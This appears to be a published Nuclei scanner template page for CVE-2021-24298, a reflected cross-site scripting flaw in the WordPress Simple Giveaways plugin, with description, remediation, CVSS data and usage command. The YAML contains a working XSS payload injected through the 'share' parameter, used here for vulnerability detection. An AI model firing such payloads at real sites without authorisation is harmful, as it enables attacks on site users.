WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting

ID: CVE-2021-24298

Severity: medium

Author: daffainfo

Tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,ibenic

Description

WordPress Simple Giveaways plugin before 2.36.2 contains a cross-site scripting vulnerability via the method and share GET parameters of the Giveaway pages, which are not sanitized, validated, or escaped before being output back in the pages.

YAML Source

id: CVE-2021-24298

info:
  name: WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Simple Giveaways plugin before 2.36.2 contains a cross-site scripting vulnerability via the method and share GET parameters of the Giveaway pages, which are not sanitized, validated, or escaped before being output back in the pages.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Simple Giveaways plugin (2.36.2 or higher) to mitigate the vulnerability.
  reference:
    - https://codevigilant.com/disclosure/2021/wp-plugin-giveasap-xss/
    - https://wpscan.com/vulnerability/30aebded-3eb3-4dda-90b5-12de5e622c91
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24298
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24298
    cwe-id: CWE-79
    epss-score: 0.00123
    epss-percentile: 0.45761
    cpe: cpe:2.3:a:ibenic:simple_giveaways:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: ibenic
    product: "simple_giveaways"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,ibenic
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/giveasap/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '= Simple Giveaways'

  - method: GET
    path:
      - '{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ee4cc3d3ffd5e65c4ee7dda39503e83070be039aceb46778889e345a497e4d7e022100e579db8a1421910f086b7b3db07764a82fea31c12cc11e6c5c99c19c8036637d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24298.yaml"

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